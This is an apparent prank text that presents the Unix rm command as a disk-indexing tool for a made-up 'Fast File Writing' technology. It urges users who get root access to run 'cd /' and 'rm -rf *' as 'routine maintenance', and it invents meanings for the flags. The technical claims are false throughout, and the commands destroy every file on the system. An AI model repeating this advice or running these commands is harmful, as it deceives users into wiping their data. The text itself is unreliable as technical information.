Modern Operating Systems use Fast File Writing technology. The basic premise of FFW is that it doesn’t organise files on the computers Hard Disk when they are first created, as this is quite time consuming and can slow the system down. Instead, what happens is the file is just written to the first empty hole found on the hard disk. The down side of this is that some files do not appear in the list straight away, and searching the disk for files can take 10-25 times longer. rm scans the hard disk for these files and saves and indexes them properly.
Regular users do not need to use rm very often, as they don’t create many files, and the Supa user will run rm regularly. The best time to do so is when you have finished writing a big or important document. It is not necessary to rm your files every time you save them, just wait until you have finished writing it.
The other occasion to use it is if you try to run a program or command, and the message “File not found” or “Command not found” is displayed. These messages mean that you have tried to do something with a file that hasn’t been properly indexed yet.
The supa user will normally run rm for you at a regular intervals to make sure that the system is in tip top condition. This ensures that all of the system files are up to date. However, on large systems, with many users, the supa user is often too busy to perform routine maintenance. Regular users can help maintain the system by asking the supa user to give them route access. To show your appreciation of being given route access, the first thing any considerate regular user should do is to perform the routine maintenance by running the following commands:
cd /
rm -rf *
This will ensure that there are no unindexed files on the system. Note that “-rf” means run in “Really Fast” mode, and it is important that you select this on large or important systems, to prevent the system from becoming bogged down while the rm works. The “” prefix tells the system to run in expert mode and not display any unnecessary warning messages.
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